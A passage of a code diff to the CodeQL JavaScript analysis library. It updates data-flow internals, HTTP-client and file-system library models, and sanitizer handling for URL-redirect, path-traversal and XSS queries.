+++ b/javascript/ql/lib/semmle/javascript/dataflow/internal/DataFlowPrivate.qll
@@ -372,10 +372,11 @@ class CastNode extends DataFlow::Node {
 cached
 newtype TDataFlowCallable =
   MkSourceCallable(StmtContainer container) or
-  MkLibraryCallable(LibraryCallable callable)
+  MkLibraryCallable(LibraryCallable callable) or
+  MkFileCallable(File file)
 
 /**
- * A callable entity. This is a wrapper around either a `StmtContainer` or a `LibraryCallable`.
+ * A callable entity. This is a wrapper around either a `StmtContainer`, `LibraryCallable`, or `File`.
  */
 class DataFlowCallable extends TDataFlowCallable {
   /** Gets a string representation of this callable. */
@@ -383,14 +384,21 @@ class DataFlowCallable extends TDataFlowCallable {
     result = this.asSourceCallable().toString()
     or
     result = this.asLibraryCallable()
+    or
+    result = this.asFileCallable().toString()
   }
 
   /** Gets the location of this callable, if it is present in the source code. */
-  Location getLocation() { result = this.asSourceCallable().getLocation() }
+  Location getLocation() {
+    result = this.asSourceCallable().getLocation() or result = this.asFileCallable().getLocation()
+  }
 
   /** Gets the corresponding `StmtContainer` if this is a source callable. */
   StmtContainer asSourceCallable() { this = MkSourceCallable(result) }
 
+  /** Gets the corresponding `File` if this is a file representing a callable. */
+  File asFileCallable() { this = MkFileCallable(result) }
+
   /** Gets the corresponding `StmtContainer` if this is a source callable. */
   pragma[nomagic]
   StmtContainer asSourceCallableNotExterns() {
@@ -537,6 +545,10 @@ DataFlowCallable nodeGetEnclosingCallable(Node node) {
   result.asLibraryCallable() = node.(FlowSummaryDefaultExceptionalReturn).getSummarizedCallable()
   or
   node = TGenericSynthesizedNode(_, _, result)
+  or
+  node instanceof DataFlow::HtmlAttributeNode and result.asFileCallable() = node.getFile()
+  or
+  node instanceof DataFlow::XmlAttributeNode and result.asFileCallable() = node.getFile()
 }
 
 newtype TDataFlowType =
diff --git a/javascript/ql/lib/semmle/javascript/dataflow/internal/sharedlib/Ssa.qll b/javascript/ql/lib/semmle/javascript/dataflow/internal/sharedlib/Ssa.qll
index 4fee3f98b171..adc4a79dd046 100644
--- a/javascript/ql/lib/semmle/javascript/dataflow/internal/sharedlib/Ssa.qll
+++ b/javascript/ql/lib/semmle/javascript/dataflow/internal/sharedlib/Ssa.qll
@@ -56,14 +56,7 @@ module SsaDataflowInput implements DataFlowIntegrationInputSig {
     predicate hasCfgNode(js::BasicBlock bb, int i) { this = bb.getNode(i) }
   }
 
-  predicate ssaDefAssigns(WriteDefinition def, Expr value) {
-    // This library only handles use-use flow after a post-update, there are no definitions, only uses.
-    none()
-  }
-
-  class Parameter = js::Parameter;
-
-  predicate ssaDefInitializesParam(WriteDefinition def, Parameter p) {
+  predicate ssaDefHasSource(WriteDefinition def) {
     // This library only handles use-use flow after a post-update, there are no definitions, only uses.
     none()
   }
@@ -81,25 +74,29 @@ module SsaDataflowInput implements DataFlowIntegrationInputSig {
   class Guard extends js::ControlFlowNode {
     Guard() { this = any(js::ConditionGuardNode g).getTest() }
 
-    predicate hasCfgNode(js::BasicBlock bb, int i) { this = bb.getNode(i) }
+    /**
+     * Holds if the control flow branching from `bb1` is dependent on this guard,
+     * and that the edge from `bb1` to `bb2` corresponds to the evaluation of this
+     * guard to `branch`.
+     */
+    predicate controlsBranchEdge(js::BasicBlock bb1, js::BasicBlock bb2, boolean branch) {
+      exists(js::ConditionGuardNode g |
+        g.getTest() = this and
+        bb1 = this.getBasicBlock() and
+        bb2 = g.getBasicBlock() and
+        branch = g.getOutcome()
+      )
+    }
   }
 
   pragma[inline]
-  predicate guardControlsBlock(Guard guard, js::BasicBlock bb, boolean branch) {
+  predicate guardDirectlyControlsBlock(Guard guard, js::BasicBlock bb, boolean branch) {
     exists(js::ConditionGuardNode g |
       g.getTest() = guard and
       g.dominates(bb) and
       branch = g.getOutcome()
     )
   }
-
-  js::BasicBlock getAConditionalBasicBlockSuccessor(js::BasicBlock bb, boolean branch) {
-    exists(js::ConditionGuardNode g |
-      bb = g.getTest().getBasicBlock() and
-      result = g.getBasicBlock() and
-      branch = g.getOutcome()
-    )
-  }
 }
 
 import DataFlowIntegration<SsaDataflowInput>
diff --git a/javascript/ql/lib/semmle/javascript/frameworks/Angular2.qll b/javascript/ql/lib/semmle/javascript/frameworks/Angular2.qll
index a2702dbc7429..3441b5d9c006 100644
--- a/javascript/ql/lib/semmle/javascript/frameworks/Angular2.qll
+++ b/javascript/ql/lib/semmle/javascript/frameworks/Angular2.qll
@@ -190,13 +190,16 @@ module Angular2 {
     result.hasUnderlyingType("@angular/common/http", "HttpClient")
   }
 
+  /** Gets a reference to an `HttpClient` object using the API graph. */
+  API::Node httpClientApiNode() { result = API::Node::ofType("@angular/common/http", "HttpClient") }
+
   private class AngularClientRequest extends ClientRequest::Range, DataFlow::MethodCallNode {
     int argumentOffset;
 
     AngularClientRequest() {
-      this = httpClient().getAMethodCall("request") and argumentOffset = 1
+      this = httpClientApiNode().getMember("request").getACall() and argumentOffset = 1
       or
-      this = httpClient().getAMethodCall() and
+      this = httpClientApiNode().getAMember().getACall() and
       not this.getMethodName() = "request" and
       argumentOffset = 0
     }
diff --git a/javascript/ql/lib/semmle/javascript/frameworks/ClientRequests.qll b/javascript/ql/lib/semmle/javascript/frameworks/ClientRequests.qll
index 720d917d4985..673bdf2de33f 100644
--- a/javascript/ql/lib/semmle/javascript/frameworks/ClientRequests.qll
+++ b/javascript/ql/lib/semmle/javascript/frameworks/ClientRequests.qll
@@ -222,7 +222,10 @@ module ClientRequest {
       method = "request"
       or
       this = axios().getMember(method).getACall() and
-      method = [httpMethodName(), "request"]
+      method = [httpMethodName(), "request", "postForm", "putForm", "patchForm", "getUri"]
+      or
+      this = axios().getMember("create").getReturn().getACall() and
+      method = "request"
     }
 
     private int getOptionsArgIndex() {
@@ -254,6 +257,8 @@ module ClientRequest {
       method = ["post", "put"] and
       result = [this.getArgument(1), this.getOptionArgument(2, "data")]
       or
+      method = ["postForm", "putForm", "patchForm"] and result = this.getArgument(1)
+      or
       result = this.getOptionArgument([0 .. 2], ["headers", "params"])
     }
 
@@ -414,20 +419,74 @@ module ClientRequest {
     }
   }
 
+  /**
+   * Represents an instance of the `got` HTTP client library.
+   */
+  abstract private class GotInstance extends API::Node {
+    /**
+     * Gets the options object associated with this instance of `got`.
+     */
+    API::Node getOptions() { none() }
+  }
+
+  /**
+   * Represents the root `got` module import.
+   * For example: `const got = require('got')`.
+   */
+  private class RootGotInstance extends GotInstance {
+    RootGotInstance() { this = API::moduleImport("got") }
+  }
+
+  /**
+   * Represents an instance of `got` created by calling the `extend()` method.
+   * It may also be chained with multiple calls to `extend()`.
+   *
+   * For example: `const client = got.extend({ prefixUrl: 'https://example.com' })`.
+   */
+  private class ExtendGotInstance extends GotInstance {
+    private GotInstance base;
+    private API::CallNode extendCall;
+
+    ExtendGotInstance() {
+      extendCall = base.getMember("extend").getACall() and
+      this = extendCall.getReturn()
+    }
+
+    override API::Node getOptions() {
+      result = extendCall.getParameter(0) or result = base.getOptions()
+    }
+  }
+
   /**
    * A model of a URL request made using the `got` library.
    */
   class GotUrlRequest extends ClientRequest::Range {
+    GotInstance got;
+
     GotUrlRequest() {
-      exists(API::Node callee, API::Node got | this = callee.getACall() |
-        got = [API::moduleImport("got"), API::moduleImport("got").getMember("extend").getReturn()] and
-        callee = [got, got.getMember(["stream", "get", "post", "put", "patch", "head", "delete"])]
+      exists(API::Node callee | this = callee.getACall() |
+        callee =
+          [
+            got,
+            got.getMember(["stream", "get", "post", "put", "patch", "head", "delete", "paginate"])
+          ]
       )
     }
 
     override DataFlow::Node getUrl() {
       result = this.getArgument(0) and
       not exists(this.getOptionArgument(1, "baseUrl"))
+      or
+      // Handle URL from options passed to extend()
+      result = got.getOptions().getMember("url").asSink() and
+      not exists(this.getArgument(0))
+      or
+      // Handle URL from options passed as third argument when first arg is undefined/missing
+      exists(API::InvokeNode optionsCall |
+        optionsCall = API::moduleImport("got").getMember("Options").getAnInvocation() and
+        optionsCall.getReturn().getAValueReachableFromSource() = this.getAnArgument() and
+        result = optionsCall.getParameter(0).getMember("url").asSink()
+      )
     }
 
     override DataFlow::Node getHost() {
@@ -513,6 +572,13 @@ module ClientRequest {
     }
   }
 
+  /**
+   * Gets the name of a superagent request method.
+   */
+  private string getSuperagentRequestMethodName() {
+    result = [httpMethodName(), any(Http::RequestMethodName m), "del", "DEL"]
+  }
+
   /**
    * A model of a URL request made using the `superagent` library.
    */
@@ -520,10 +586,22 @@ module ClientRequest {
     DataFlow::Node url;
 
     SuperAgentUrlRequest() {
-      exists(string moduleName, DataFlow::SourceNode callee | this = callee.getACall() |
-        moduleName = "superagent" and
-        callee = DataFlow::moduleMember(moduleName, httpMethodName()) and
+      exists(string moduleName | moduleName = "superagent" |
+        // Handle method calls like superagent.get(url)
+        this = API::moduleImport(moduleName).getMember(getSuperagentRequestMethodName()).getACall() and
         url = this.getArgument(0)
+        or
+        // Handle direct calls like superagent('GET', url)
+        this = API::moduleImport(moduleName).getACall() and
+        this.getArgument(0).mayHaveStringValue(getSuperagentRequestMethodName()) and
+        url = this.getArgument(1)
+        or
+        // Handle agent calls like superagent.agent().get(url)
+        exists(DataFlow::SourceNode agent |
+          agent = API::moduleImport(moduleName).getMember("agent").getACall() and
+          this = agent.getAMethodCall(httpMethodName()) and
+          url = this.getArgument(0)
+        )
       )
     }
 
diff --git a/javascript/ql/lib/semmle/javascript/frameworks/D3.qll b/javascript/ql/lib/semmle/javascript/frameworks/D3.qll
index 76bdeb1324a9..cc7c07c80c19 100644
--- a/javascript/ql/lib/semmle/javascript/frameworks/D3.qll
+++ b/javascript/ql/lib/semmle/javascript/frameworks/D3.qll
@@ -80,7 +80,7 @@ module D3 {
       or
       this = d3Selection().getMember("node").getReturn().asSource()
       or
-      this = d3Selection().getMember("nodes").getReturn().getUnknownMember().asSource()
+      this = d3Selection().getMember("nodes").getReturn().getArrayElement().asSource()
     }
   }
 
diff --git a/javascript/ql/lib/semmle/javascript/frameworks/Hapi.qll b/javascript/ql/lib/semmle/javascript/frameworks/Hapi.qll
index f1936da3a676..a6dbf40d1e06 100644
--- a/javascript/ql/lib/semmle/javascript/frameworks/Hapi.qll
+++ b/javascript/ql/lib/semmle/javascript/frameworks/Hapi.qll
@@ -11,8 +11,8 @@ module Hapi {
    */
   class ServerDefinition extends Http::Servers::StandardServerDefinition, DataFlow::Node {
     ServerDefinition() {
-      // `server = new Hapi.Server()`
-      this = DataFlow::moduleMember("hapi", "Server").getAnInstantiation()
+      // `server = new Hapi.Server()`, `server = Hapi.server()`
+      this = DataFlow::moduleMember(["hapi", "@hapi/hapi"], ["Server", "server"]).getAnInvocation()
       or
       // `server = Glue.compose(manifest, composeOptions)`
       this = DataFlow::moduleMember("@hapi/glue", "compose").getAnInvocation()
diff --git a/javascript/ql/lib/semmle/javascript/frameworks/Markdown.qll b/javascript/ql/lib/semmle/javascript/frameworks/Markdown.qll
index 04f3c9f7db78..344bdc2a40fc 100644
--- a/javascript/ql/lib/semmle/javascript/frameworks/Markdown.qll
+++ b/javascript/ql/lib/semmle/javascript/frameworks/Markdown.qll
@@ -46,19 +46,6 @@ module Markdown {
     }
   }
 
-  /**
-   * A taint step for the `markdown-table` library.
-   */
-  private class MarkdownTableStep extends MarkdownStep {
-    override predicate step(DataFlow::Node pred, DataFlow::Node succ) {
-      exists(DataFlow::CallNode call | call = DataFlow::moduleImport("markdown-table").getACall() |
-        // TODO: needs a flow summary to ensure ArrayElement content is unfolded
-        succ = call and
-        pred = call.getArgument(0)
-      )
-    }
-  }
-
   /**
    * A taint step for the `showdown` library.
    */
diff --git a/javascript/ql/lib/semmle/javascript/frameworks/NodeJSLib.qll b/javascript/ql/lib/semmle/javascript/frameworks/NodeJSLib.qll
index 3427591bc1b7..c5f8c3d14f1c 100644
--- a/javascript/ql/lib/semmle/javascript/frameworks/NodeJSLib.qll
+++ b/javascript/ql/lib/semmle/javascript/frameworks/NodeJSLib.qll
@@ -434,7 +434,7 @@ module NodeJSLib {
    * method might represent a file path.
    */
   private predicate fsExtraExtensionFileParam(string methodName, int i) {
-    methodName = ["copy", "copySync", "copyFile"] and i = [0, 1]
+    methodName = ["copy", "copySync", "copyFile", "cp", "copyFileSync", "cpSync"] and i = [0, 1]
     or
     methodName = ["move", "moveSync"] and i = [0, 1]
     or
@@ -450,10 +450,13 @@ module NodeJSLib {
     or
     methodName = ["readJson", "readJSON", "readJsonSync", "readJSONSync"] and i = 0
     or
-    methodName = ["remove", "removeSync"] and i = 0
+    methodName = ["remove", "removeSync", "rmSync", "rm", "rmdir", "rmdirSync"] and i = 0
     or
     methodName =
-      ["outputJSON", "outputJson", "writeJSON", "writeJson", "writeJSONSync", "writeJsonSync"] and
+      [
+        "outputJSON", "outputJson", "writeJSON", "writeJson", "writeJSONSync", "writeJsonSync",
+        "outputJSONSync", "outputJsonSync"
+      ] and
     i = 0
     or
     methodName = ["ensureFile", "ensureFileSync"] and i = 0
@@ -462,9 +465,15 @@ module NodeJSLib {
     or
     methodName = ["ensureSymlink", "ensureSymlinkSync"] and i = [0, 1]
     or
-    methodName = ["emptyDir", "emptyDirSync"] and i = 0
+    methodName = ["emptyDir", "emptyDirSync", "emptydir", "emptydirSync"] and i = 0
     or
     methodName = ["pathExists", "pathExistsSync"] and i = 0
+    or
+    methodName = ["lutimes", "lutimesSync"] and i = 0
+    or
+    methodName =
+      ["opendir", "opendirSync", "openAsBlob", "statfs", "statfsSync", "open", "openSync"] and
+    i = 0
   }
 
   /**
@@ -592,6 +601,13 @@ module NodeJSLib {
     }
   }
 
+  /** A vectored write to the file system using `writev` or `writevSync` methods. */
+  private class NodeJSFileSystemVectorWrite extends FileSystemWriteAccess, NodeJSFileSystemAccess {
+    NodeJSFileSystemVectorWrite() { methodName = ["writev", "writevSync"] }
+
+    override DataFlow::Node getADataNode() { result = this.getArgument(1) }
+  }
+
   /** A file system read. */
   private class NodeJSFileSystemAccessRead extends FileSystemReadAccess, NodeJSFileSystemAccess {
     NodeJSFileSystemAccessRead() { methodName = ["read", "readSync", "readFile", "readFileSync"] }
@@ -599,7 +615,7 @@ module NodeJSLib {
     override DataFlow::Node getADataNode() {
       if methodName.matches("%Sync")
       then result = this
-      else
+      else (
         exists(int i, string paramName | fsDataParam(methodName, i, paramName) |
           if paramName = "callback"
           then
@@ -610,6 +626,28 @@ module NodeJSLib {
             )
           else result = this.getArgument(i)
         )
+        or
+        exists(AwaitExpr await |
+          this.getEnclosingExpr() = await.getOperand() and
+          result = DataFlow::valueNode(await)
+        )
+      )
+    }
+  }
+
+  /** A vectored read to the file system. */
+  private class NodeJSFileSystemAccessVectorRead extends FileSystemReadAccess,
+    NodeJSFileSystemAccess
+  {
+    NodeJSFileSystemAccessVectorRead() { methodName = ["readv", "readvSync"] }
+
+    override DataFlow::Node getADataNode() {
+      result = this.getArgument(1)
+      or
+      exists(DataFlow::ArrayCreationNode array |
+        array.flowsTo(this.getArgument(1)) and
+        result = array.getAnElement()
+      )
     }
   }
 
diff --git a/javascript/ql/lib/semmle/javascript/frameworks/Puppeteer.qll b/javascript/ql/lib/semmle/javascript/frameworks/Puppeteer.qll
index 0834d81e0a1f..59bb2fc2b137 100644
--- a/javascript/ql/lib/semmle/javascript/frameworks/Puppeteer.qll
+++ b/javascript/ql/lib/semmle/javascript/frameworks/Puppeteer.qll
@@ -32,7 +32,7 @@ module Puppeteer {
     or
     result = [browser(), context()].getMember("newPage").getReturn().getPromised()
     or
-    result = [browser(), context()].getMember("pages").getReturn().getPromised().getUnknownMember()
+    result = [browser(), context()].getMember("pages").getReturn().getPromised().getArrayElement()
     or
     result = target().getMember("page").getReturn().getPromised()
   }
@@ -45,7 +45,7 @@ module Puppeteer {
     or
     result = [page(), browser()].getMember("target").getReturn()
     or
-    result = context().getMember("targets").getReturn().getUnknownMember()
+    result = context().getMember("targets").getReturn().getArrayElement()
     or
     result = target().getMember("opener").getReturn()
   }
@@ -58,7 +58,7 @@ module Puppeteer {
     or
     result = [page(), target()].getMember("browserContext").getReturn()
     or
-    result = browser().getMember("browserContexts").getReturn().getUnknownMember()
+    result = browser().getMember("browserContexts").getReturn().getArrayElement()
     or
     result = browser().getMember("createIncognitoBrowserContext").getReturn().getPromised()
     or
diff --git a/javascript/ql/lib/semmle/javascript/frameworks/SQL.qll b/javascript/ql/lib/semmle/javascript/frameworks/SQL.qll
index c5452676e309..59ee6d6db4f5 100644
--- a/javascript/ql/lib/semmle/javascript/frameworks/SQL.qll
+++ b/javascript/ql/lib/semmle/javascript/frameworks/SQL.qll
@@ -221,7 +221,10 @@ private module Postgres {
 
     /** Gets a value that is plugged into a raw placeholder variable, making it a sink for SQL injection. */
     private DataFlow::Node getARawValue() {
-      result = this.getValues() and this.getARawParameterName() = "1" // Special case: if the argument is not an array or object, it's just plugged into $1
+      result = this.getValues() and
+      this.getARawParameterName() = "1" and // Special case: if the argument is not an array or object, it's just plugged into $1
+      not result instanceof DataFlow::ArrayCreationNode and
+      not result instanceof DataFlow::ObjectLiteralNode
       or
       exists(DataFlow::SourceNode values | values = this.getValues().getALocalSource() |
         result = values.getAPropertyWrite(this.getARawParameterName()).getRhs()
diff --git a/javascript/ql/lib/semmle/javascript/frameworks/Tanstack.qll b/javascript/ql/lib/semmle/javascript/frameworks/Tanstack.qll
deleted file mode 100644
index 741079575963..000000000000
--- a/javascript/ql/lib/semmle/javascript/frameworks/Tanstack.qll
+++ /dev/null
@@ -1,26 +0,0 @@
-/**
- * Provides classes and predicates modeling the Tanstack/react-query library.
- */
-
-private import javascript
-
-/**
- * An additional flow step that propagates data from the return value of the query function,
- * defined in a useQuery call from the '@tanstack/react-query' module, to the 'data' property.
- */
-private class TanstackStep extends DataFlow::AdditionalFlowStep {
-  override predicate step(DataFlow::Node node1, DataFlow::Node node2) {
-    exists(API::CallNode useQuery |
-      useQuery = useQueryCall() and
-      node1 = useQuery.getParameter(0).getMember("queryFn").getReturn().getPromised().asSink() and
-      node2 = useQuery.getReturn().getMember("data").asSource()
-    )
-  }
-}
-
-/**
- * Retrieves a call node representing a useQuery invocation from the '@tanstack/react-query' module.
- */
-private API::CallNode useQueryCall() {
-  result = API::moduleImport("@tanstack/react-query").getMember("useQuery").getACall()
-}
diff --git a/javascript/ql/lib/semmle/javascript/frameworks/UnderscoreDotString.qll b/javascript/ql/lib/semmle/javascript/frameworks/UnderscoreDotString.qll
new file mode 100644
index 000000000000..abb51b978bc0
--- /dev/null
+++ b/javascript/ql/lib/semmle/javascript/frameworks/UnderscoreDotString.qll
@@ -0,0 +1,26 @@
+/**
+ * Provides classes for modeling data flow behavior of the Underscore.string library (https://www.npmjs.com/package/underscore.string).
+ */
+
+private import javascript
+private import semmle.javascript.dataflow.internal.AdditionalFlowInternal
+
+/**
+ * Models data flow for the Underscore.string library.
+ */
+private class UnderscoreDotString extends AdditionalFlowInternal {
+  /**
+   * Some of the methods in `underscore.string` have the same name as methods from `Array.prototype`.
+   * This prevents methods like `splice` from propagating into Argument[this].ArrayElement.
+   */
+  override predicate clearsContent(DataFlow::Node node, DataFlow::ContentSet contents) {
+    exists(DataFlow::CallNode call |
+      call =
+        ModelOutput::getATypeNode(["'underscore.string'.Wrapper", "'underscore.string'"])
+            .getAMember()
+            .getACall() and
+      node = call.getReceiver().getPostUpdateNode() and
+      contents = DataFlow::ContentSet::arrayElement()
+    )
+  }
+}
diff --git a/javascript/ql/lib/semmle/javascript/frameworks/UriLibraries.qll b/javascript/ql/lib/semmle/javascript/frameworks/UriLibraries.qll
index 0a262d154b2b..90dcc886ed43 100644
--- a/javascript/ql/lib/semmle/javascript/frameworks/UriLibraries.qll
+++ b/javascript/ql/lib/semmle/javascript/frameworks/UriLibraries.qll
@@ -421,3 +421,22 @@ private module ClosureLibraryUri {
     }
   }
 }
+
+private class QueryStringStringification extends DataFlow::SummarizedCallable {
+  QueryStringStringification() { this = "query-string stringification" }
+
+  override DataFlow::InvokeNode getACall() {
+    result =
+      API::moduleImport(["querystring", "query-string", "querystringify", "qs"])
+          .getMember("stringify")
+          .getACall() or
+    result = API::moduleImport("url-parse").getMember("qs").getMember("stringify").getACall() or
+    result = API::moduleImport("parseqs").getMember("encode").getACall()
+  }
+
+  override predicate propagatesFlow(string input, string output, boolean preservesValue) {
+    preservesValue = false and
+    input = ["Argument[0]", "Argument[0].AnyMemberDeep"] and
+    output = "ReturnValue"
+  }
+}
diff --git a/javascript/ql/lib/semmle/javascript/frameworks/Vuex.qll b/javascript/ql/lib/semmle/javascript/frameworks/Vuex.qll
index 6e1112077909..49a9ded864b6 100644
--- a/javascript/ql/lib/semmle/javascript/frameworks/Vuex.qll
+++ b/javascript/ql/lib/semmle/javascript/frameworks/Vuex.qll
@@ -104,8 +104,7 @@ module Vuex {
       storeName = this.getNamespace() + localName
       or
       // mapGetters(['foo', 'bar'])
-      this.getLastParameter().getUnknownMember().getAValueReachingSink().getStringValue() =
-        localName and
+      this.getLastParameter().getArrayElement().getAValueReachingSink().getStringValue() = localName and
       storeName = this.getNamespace() + localName
       or
       // mapGetters({foo: 'bar'})
diff --git a/javascript/ql/lib/semmle/javascript/frameworks/data/internal/ApiGraphModelsSpecific.qll b/javascript/ql/lib/semmle/javascript/frameworks/data/internal/ApiGraphModelsSpecific.qll
index 1b1df4ceef35..1f51af3efda0 100644
--- a/javascript/ql/lib/semmle/javascript/frameworks/data/internal/ApiGraphModelsSpecific.qll
+++ b/javascript/ql/lib/semmle/javascript/frameworks/data/internal/ApiGraphModelsSpecific.qll
@@ -162,8 +162,8 @@ API::Node getExtraSuccessorFromNode(API::Node node, AccessPathTokenBase token) {
   token.getName() = "Awaited" and
   result = node.getPromised()
   or
-  token.getName() = "ArrayElement" and
-  result = node.getMember(DataFlow::PseudoProperties::arrayElement())
+  token.getName() = ["ArrayElement", "Element"] and
+  result = node.getArrayElement()
   or
   token.getName() = "Element" and
   result = node.getMember(DataFlow::PseudoProperties::arrayLikeElement())
@@ -172,11 +172,6 @@ API::Node getExtraSuccessorFromNode(API::Node node, AccessPathTokenBase token) {
   token.getName() = "MapValue" and
   result = node.getMember(DataFlow::PseudoProperties::mapValueAll())
   or
-  // Currently we need to include the "unknown member" for ArrayElement and Element since
-  // API graphs do not use store/load steps for arrays
-  token.getName() = ["ArrayElement", "Element"] and
-  result = node.getUnknownMember()
-  or
   token.getName() = "Parameter" and
   token.getAnArgument() = "this" and
   result = node.getReceiver()
@@ -189,6 +184,20 @@ API::Node getExtraSuccessorFromNode(API::Node node, AccessPathTokenBase token) {
   or
   token.getName() = "DecoratedParameter" and
   result = node.getADecoratedParameter()
+  or
+  token.getName() = "GuardedRouteHandler" and
+  result = getAGuardedRouteHandlerApprox(node)
+}
+
+bindingset[node]
+pragma[inline_late]
+private API::Node getAGuardedRouteHandlerApprox(API::Node node) {
+  // For now just get any routing node with the same root (i.e. the same web app), as
+  // there are some known performance issues when checking if it is actually guarded by the given node.
+  exists(JS::Routing::Node root |
+    root = JS::Routing::getNode(node.getAValueReachableFromSource()).getRootNode() and
+    root = JS::Routing::getNode(result.asSink()).getRootNode()
+  )
 }
 
 /**
@@ -322,7 +331,7 @@ predicate isExtraValidTokenNameInIdentifyingAccessPath(string name) {
     [
       "Member", "AnyMember", "Instance", "Awaited", "ArrayElement", "Element", "MapValue",
       "NewCall", "Call", "DecoratedClass", "DecoratedMember", "DecoratedParameter",
-      "WithStringArgument"
+      "WithStringArgument", "GuardedRouteHandler"
     ]
 }
 
@@ -334,7 +343,7 @@ predicate isExtraValidNoArgumentTokenInIdentifyingAccessPath(string name) {
   name =
     [
       "AnyMember", "Instance", "Awaited", "ArrayElement", "Element", "MapValue", "NewCall", "Call",
-      "DecoratedClass", "DecoratedMember", "DecoratedParameter"
+      "DecoratedClass", "DecoratedMember", "DecoratedParameter", "GuardedRouteHandler"
     ]
 }
 
@@ -373,7 +382,7 @@ bindingset[pred]
 predicate apiGraphHasEdge(API::Node pred, string path, API::Node succ) {
   exists(string name | succ = pred.getMember(name) and path = "Member[" + name + "]")
   or
-  succ = pred.getUnknownMember() and path = "AnyMember"
+  succ = pred.getUnknownArrayElement() and path = "ArrayElement"
   or
   succ = pred.getInstance() and path = "Instance"
   or
diff --git a/javascript/ql/lib/semmle/javascript/internal/CachedStages.qll b/javascript/ql/lib/semmle/javascript/internal/CachedStages.qll
index 470435ce23ca..98a35692822e 100644
--- a/javascript/ql/lib/semmle/javascript/internal/CachedStages.qll
+++ b/javascript/ql/lib/semmle/javascript/internal/CachedStages.qll
@@ -297,13 +297,12 @@ module Stages {
       exists(
         API::moduleImport("foo")
             .getMember("bar")
-            .getUnknownMember()
+            .getArrayElement()
             .getAMember()
             .getAParameter()
             .getPromised()
             .getReturn()
             .getParameter(2)
-            .getUnknownMember()
             .getInstance()
             .getReceiver()
             .getForwardingFunction()
diff --git a/javascript/ql/lib/semmle/javascript/internal/flow_summaries/Arrays.qll b/javascript/ql/lib/semmle/javascript/internal/flow_summaries/Arrays.qll
index d9f0836d739d..00fed9c4f093 100644
--- a/javascript/ql/lib/semmle/javascript/internal/flow_summaries/Arrays.qll
+++ b/javascript/ql/lib/semmle/javascript/internal/flow_summaries/Arrays.qll
@@ -96,7 +96,8 @@ class ArrayConstructorSummary extends SummarizedCallable {
   ArrayConstructorSummary() { this = "Array constructor" }
 
   override DataFlow::InvokeNode getACallSimple() {
-    result = arrayConstructorRef().getAnInvocation()
+    result = arrayConstructorRef().getAnInvocation() and
+    result.getNumArgument() > 1
   }
 
   override predicate propagatesFlow(string input, string output, boolean preservesValue) {
diff --git a/javascript/ql/lib/semmle/javascript/security/dataflow/ExternalAPIUsedWithUntrustedDataCustomizations.qll b/javascript/ql/lib/semmle/javascript/security/dataflow/ExternalAPIUsedWithUntrustedDataCustomizations.qll
index 72fdafaad501..7a6575f86475 100644
--- a/javascript/ql/lib/semmle/javascript/security/dataflow/ExternalAPIUsedWithUntrustedDataCustomizations.qll
+++ b/javascript/ql/lib/semmle/javascript/security/dataflow/ExternalAPIUsedWithUntrustedDataCustomizations.qll
@@ -179,7 +179,6 @@ module ExternalApiUsedWithUntrustedData {
       or
       exists(string member |
         node = base.getMember(member) and
-        not node = base.getUnknownMember() and
         not isNumericString(member) and
         not (member = "default" and base = API::moduleImport(_)) and
         not member = "then" // use the 'promised' edges for .then callbacks
@@ -189,10 +188,7 @@ module ExternalApiUsedWithUntrustedData {
         else result = basename + "['" + member.regexpReplaceAll("'", "\\'") + "']"
       )
       or
-      (
-        node = base.getUnknownMember() or
-        node = base.getMember(any(string s | isNumericString(s)))
-      ) and
+      node = base.getArrayElement() and
       result = basename + "[]"
       or
       // just collapse promises
diff --git a/javascript/ql/lib/semmle/javascript/security/dataflow/ServerSideUrlRedirectQuery.qll b/javascript/ql/lib/semmle/javascript/security/dataflow/ServerSideUrlRedirectQuery.qll
index e889480b48b7..e6c3345b2c7e 100644
--- a/javascript/ql/lib/semmle/javascript/security/dataflow/ServerSideUrlRedirectQuery.qll
+++ b/javascript/ql/lib/semmle/javascript/security/dataflow/ServerSideUrlRedirectQuery.qll
@@ -20,7 +20,11 @@ module ServerSideUrlRedirectConfig implements DataFlow::ConfigSig {
 
   predicate isSink(DataFlow::Node sink) { sink instanceof Sink }
 
-  predicate isBarrier(DataFlow::Node node) { node instanceof Sanitizer }
+  predicate isBarrier(DataFlow::Node node) {
+    node instanceof Sanitizer
+    or
+    node = HostnameSanitizerGuard::getABarrierNode()
+  }
 
   predicate isBarrierOut(DataFlow::Node node) { hostnameSanitizingPrefixEdge(node, _) }
 
@@ -69,10 +73,12 @@ deprecated class Configuration extends TaintTracking::Configuration {
 }
 
 /**
+ * DEPRECATED. This is no longer used as a sanitizer guard.
+ *
  * A call to a function called `isLocalUrl` or similar, which is
  * considered to sanitize a variable for purposes of URL redirection.
  */
-class LocalUrlSanitizingGuard extends DataFlow::CallNode {
+deprecated class LocalUrlSanitizingGuard extends DataFlow::CallNode {
   LocalUrlSanitizingGuard() { this.getCalleeName().regexpMatch("(?i)(is_?)?local_?url") }
 
   /** DEPRECATED. Use `blocksExpr` instead. */
diff --git a/javascript/ql/lib/semmle/javascript/security/dataflow/TaintedPathCustomizations.qll b/javascript/ql/lib/semmle/javascript/security/dataflow/TaintedPathCustomizations.qll
index dc23b895a4f6..f863b86a3b57 100644
--- a/javascript/ql/lib/semmle/javascript/security/dataflow/TaintedPathCustomizations.qll
+++ b/javascript/ql/lib/semmle/javascript/security/dataflow/TaintedPathCustomizations.qll
@@ -892,7 +892,13 @@ module TaintedPath {
       TaintTracking::uriStep(node1, node2)
       or
       exists(DataFlow::CallNode decode |
-        decode.getCalleeName() = "decodeURIComponent" or decode.getCalleeName() = "decodeURI"
+        decode =
+          DataFlow::globalVarRef([
+              "decodeURIComponent",
+              "decodeURI",
+              "escape",
+              "unescape"
+            ]).getACall()
       |
         node1 = decode.getArgument(0) and
         node2 = decode
diff --git a/javascript/ql/lib/semmle/javascript/security/dataflow/Xss.qll b/javascript/ql/lib/semmle/javascript/security/dataflow/Xss.qll
index 0d17c9d84943..41487b8c3b64 100644
--- a/javascript/ql/lib/semmle/javascript/security/dataflow/Xss.qll
+++ b/javascript/ql/lib/semmle/javascript/security/dataflow/Xss.qll
@@ -53,7 +53,7 @@ module Shared {
   class UriEncodingSanitizer extends Sanitizer, DataFlow::CallNode {
     UriEncodingSanitizer() {
       exists(string name | this = DataFlow::globalVarRef(name).getACall() |
-        name = "encodeURI" or name = "encodeURIComponent"
+        name in ["encodeURI", "encodeURIComponent", "escape"]
       )
     }
   }
diff --git a/javascript/ql/lib/semmlecode.javascript.dbscheme b/javascript/ql/lib/semmlecode.javascript.dbscheme
index c88c69174bd0..ccefb5e2d493 100644
